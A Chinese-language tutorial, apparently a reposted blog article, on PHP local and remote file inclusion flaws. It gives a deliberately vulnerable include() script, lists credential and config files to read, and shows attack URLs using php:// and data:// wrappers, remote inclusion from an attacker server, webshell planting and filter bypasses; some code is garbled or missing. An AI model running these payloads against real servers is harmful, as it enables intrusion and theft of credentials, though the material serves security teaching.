文件包含漏洞

这篇具有很好参考价值的文章主要介绍了文件包含漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

漏洞讲解

漏洞过程解析
在使用include等包含函数时,当对包含文件的来源过滤不严格,那么会包含到恶意文件,攻击者将会通过这个恶意文件来到达他想要达到的相应目的。
引用一句网上看到的话:文件包含漏洞和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

漏洞原理
在开发过程中,难免会有相同代码吃饭使用的情况,我们会将这类代码单独放在一个文件中,等到要用的时候,可以直接在使用出运用包含函数来进行运用,而这种方式会导致客户端可以调用其他的恶意文件,由此被利用。

漏洞利用前提
被包含的文件应该被当作一个变量实验,用户可传入的,如若该变量未被采取相应安全措施(如设置白名单),那么将出现文件包含漏洞。

文件包含漏洞的危害
可以读取web服务器上的敏感文件如配置文件等,如果和webshell配合使用将造成巨大风险

文件包含中的PHP知识

在php.ini文件在有这么两个变量 allow_url_fopen和allow_url_include
allow_url_fopen 默认值为ON,为允许url的封装协议打开文件处理。
allow_url_include 默认值为OFF,为不允许url的封装协议包含文件,如若需要进行远程包含文件需要将参数设置为ON。
这两个参数都只是影响远程文件包含

常见的包含函数
PHP:include(),include_once(),require(),require_once()
JSP/Servlet:ava.io.file()、java.io.filereader()
ASP:include file、include virtual(除了PHP的,另外两个我都不了解,网上看到整理的,嘿嘿)

就讲一下PHP这四个包含函数的区别吧
include:包含文件时,如若包含失败,会返回一个警告,但不会影响代码执行。
include_once():与include作用相同,不同的是,include_once()函数会检查该文件是否已经被包含过了,如果已经包含过,就不会在包含了,也就是相同的文件只会包含一次。
require():包含文件时,如若包含失败,代码将终止执行。
request_once():与require()类似,与require()不同的是,跟上面将include()和include_once()的不同。

php魔术引导
当sql语句中有单引号'',双引号"",反斜杠\和NULL,需要对这些进行转义,否则写入数据库时候就会出错,php配置文件php.ini中就存在魔术符号magic_quotes_gpc

PHP伪协议部分太多了,在后面一起讲

文件包含漏洞分类
文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞

本地文件包含漏洞(LFI)
能够打开包含本地文件的漏洞就叫作本地包含文件漏洞
举一个例子,在filetest.php文件中写入

<?php
$file=$_GET["name"];
echo "input name";
if(isset($file)){
include($file);
}
?>

在phpinfo.php写入

<?php
phpinfo();
?>

filetest.php中有name参数,这个参数能够被用户所控制,用户提供这个参数来包含本地的文件,那么就形成了本地包含漏洞

文件包含漏洞

如filetest.php,这样的代码可以让我们读取到系统本地的敏感信息
可以采用来读取下面这些敏感信息
Windows系统
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置

Linux系统:
/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2配置文件
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

因此也可以这样构造http://127.0.0.1/filetest.php/?name=C:\Windows\system.ini
文件包含漏洞
当然不只是绝对路径,相对路径也是可以的

远程文件包含漏洞(RFI)
远程文件包含漏洞成因其实和本地文件包含漏洞相同,只不过远程文件包含漏洞利用的是外部服务器中文件。
远程文件包含漏洞需要前面讲的allow_url_fopen、allow_url_include参数均为ON
说一下大概过程
需要两台服务器,一台为目标服务器,一台为攻击者服务器
目的服务器下php代码

<?php
$file=$_GET["name"];
echo "input name";
if(isset($file)){
include($file);
}
?>

攻击者服务器下php代码

<?php
phpinfo();
?>

攻击者访问目的服务器,并将他本地下服务器的文件进行远程文件包含
假设目的服务器:192.168.0.1
攻击者服务器:192.168.0.2
那么便为192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php

接下来讲一下文件包含漏洞如何可以实现webshell
在远程文件包含时
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php就以这个举例
现在将phpinfo.php中内容改为

")//此处@符号表示即使后面执行错误也不报错

?>
那么我们就会在根目录下创建一个名为webshell.php的文件
就可以用蚁剑
URL地址:http://目标服务器ip/webshell.php
连接密码:cmd
便可以连接成功了

接下来讲PHP伪协议
file:// 访问本地文件系统
http:// 访问HTTPs网站
ftp:// 访问FTP URL
php:// 访问各个输入/输出流 即I/O流
zlib:// 压缩流
data:// 数据
expect:// 处理交互式的流
glob:// 查找匹配的文件路径

file://
访问本地文件系统,既然是本地那么就不受allow_url_fopen和allow_url_include影响,通常用来读取本地文件
使用方式file://文件路径

php://
访问各个输入/输出流
常用的是php://filter和php://input
1)php://filter
用于读取源码
php://filter在执行代码前将转化,如进行base64编码,不然就会直接当作php代码执行,那么就看不到源代码内容了
用法:php://filter/read=convert.base64-encode/resource=你要读取的文件
URL:192.168.0.1(http:目的服务器ip)/test.php(一个php文件)/?name=php://filter/read=convert.base64-encode/resource=test.php
假如test.php里写的是
那么页面就会显示的base64编码
这里是读取当前目录下,也可以用相对路径,来调整

2)php://input
用于执行php代码
需要注意php://input需要以POST请求
php://input访问原始数据的只读流,将POST请求的数据当作php代码执行
用法:当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。(这句话网上看的)
可以结合抓包使用

http://
访问HTTPs网站
可以进行远程包含进行漏洞执行
URL:http://192.168.0.1(目的服务器ip)/test.php(一个php文件)/?name=https://www.cnblogs.com/l-xx123(你所要的网站)

data://
用于数据流读取(听这个很像php://input)
如果传入的是php代码,那就执行任何代码
利用它需要allow_url_fopen和allow_url_include参数均为ON
用法:data://text/plain(格式),(你所要执行的php代码)
为了防止对于一些特殊字符的过滤,还有使用编码方式
以下用了base64编码
datadata://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=(加密后的)

文件包含漏洞绕过方式

本地文件包含绕过

空字符绕过(%00截断)
这个需要php版本低于5.3.4,并且关闭前面说魔术符号,为OFF
%00截断的原理
%00是ascii码为0的字符的url编码后
在某些函数处理时,会把这个字符当做结束符。
系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。

URL:http://192.168.0.1/tets.php/?name=1.php
如果我们像上面那样输入就要变成1.php.jpg
会拼接一个.jpg
URL:http://192.168.0.1/test.php/?name=1.php
而这样就可以成功包含php代码了

超长字符绕过

超长字符绕过式利用操作系统对目录的最大长度限制
不同系统的最大长度不一样
在 Windows 中目录长度不可以超过 256 字节,linux 中目录长度不可以超过 4096 字节
在这里我们会利用垃圾字符./,当然不止它可以使用,这里就不说了,因为我忘了,可以上网看看
用法URL:http://192.168.0.1/tets.php/?name=1.php././././././././././././././././././././././././././././././././././././././././././././././././././
就是在读取本地文件后面加上很多./

远程文件包含绕过

空字符绕过(%00截断)
同本地文件包含的那个一样,只不过它是远程文件包含而已

超长字符绕过
同本地文件包含的那个一样,只不过它是远程文件包含而已

?绕过
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php以这个为例
我们可以192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php后加上?
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php?

还可以使用特殊字符来绕过,加上url编码后

绕过

192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php以这个为例
我们可以192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php后加上%23
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php%23
%23是#url编码后的结果

空格绕过
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php以这个为例
我们可以192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php后加上%20
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php%20
%20是空格url编码后的结果

文件包含漏洞防护
1.对上传文件进行重命名,防止被读取
2.关闭危险配置,如allow_url_include如果打开,会进行远程包含,十分危险
3.过滤危险字符,比如过滤掉../,或者一些编码的特征
4.设置白名单,来进行文件包含文章来源地址https://www.toymoban.com/news/detail-825132.html

到了这里,关于文件包含漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 文件包含漏洞及漏洞复现

    程序开发人员通常会把可重复使用函数或语句写到单个文件中,形成“封装”。在使用某个功能的时候,直接调用此文件,无需再次编写,提高代码重用性,减少代码量。这种调用文件的过程通常称为包含。 程序开发人员都希望代码更加灵活,所以会把被包含的文件的路径设

    2024年02月10日
    浏览(49)
  • 拓扑排序详解(包含算法原理图解、算法实现过程详解、算法例题变式全面讲解等)

    在图论中,如果一个有向图无法从某个顶点出发经过若干条边回到该点,则这个图是一个有向无环图(DAG图)。 如图所示。 对于一个有向图,若x点指向y点,则称x点为y点的入度。 对于一个有向图,若x点指向y点,则称y点为x点的出度。 队列是一种特殊的线性表,特殊之处在

    2024年02月07日
    浏览(52)
  • 文件包含漏洞利用思路

    通过 PHP 函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,导致意外的文件泄漏甚至恶意代码注入。 php中常见的文件包含函数有以下四种: include() require() include_once() require_once() include与require基本是相同的,除了错误处理方面: include(),只生成

    2024年02月16日
    浏览(37)
  • 文件包含漏洞利用和防御

    使用函数包含指定文件的代码,没对函数的参数进行过滤,可被用户控制包含恶意文件并执行代码 漏洞分类 本地文件包含:目录遍历、任意文件读取、包含日志文件getshell、图片马getshell、伪协议读取文件/命令执行、包含phpinfo上传的临时文件 远程文件包含:远程木马getshe

    2024年02月02日
    浏览(99)
  • 文件包含漏洞学习笔记

    相同内容或方法在多个页面显示或调用,文件包含漏洞又称为目录遍历漏洞或任意文件访问漏洞。分为本地文件包含(LFI:Local File Inclusion),远程文件包含(RFI:Remote File  Inclusion),也可分为静态文件包含,动态文件包含。 页面中直接引用静态文件。 main.php内容如下:

    2023年04月08日
    浏览(33)
  • 文件包含漏洞学习小结

    目录 一、介绍 二、常见文件包含函数 三、文件包含漏洞代码举例分析 四、文件包含漏洞利用方式 4.1 本地文件包含 1、读取敏感文件 2、文件包含可运行的php代码 ①包含图片码 ②包含日志文件 ③包含环境变量getshell ④临时文件包含 ⑤伪协议 4.2 远程文件包含 4.3 文件包含常

    2024年02月09日
    浏览(37)
  • pearcmd文件包含漏洞

    pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定 --with-pear 才会安装 不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在 /usr/local/lib/php 原本pear/pcel是一个命

    2024年01月21日
    浏览(30)
  • 文件包含漏洞

    漏洞讲解 漏洞过程解析 在使用include等包含函数时,当对包含文件的来源过滤不严格,那么会包含到恶意文件,攻击者将会通过这个恶意文件来到达他想要达到的相应目的。 引用一句网上看到的话:文件包含漏洞和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,

    2024年02月19日
    浏览(32)
  • 文件包含漏洞全面详解

    1.文件包含漏洞概述 和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。 什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需

    2024年02月02日
    浏览(39)
  • 【web安全】文件包含漏洞

    目录 1.什么是文件包含漏洞 2.产生原因 3.文件包含的类型 3.1本地文件包含 3.2远程文件包含 4.攻击利用手法 4.1 file:协议 4.2 php://协议 ​4.3 zip://,bzip2://,zlib://协议  4.4 data://协议 4.5 PHP伪协议总结  5.如何防御? 6.常见系统的默认路径 7.文件包含漏洞的奇技淫巧 LFI+日志文件gets

    2024年02月07日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包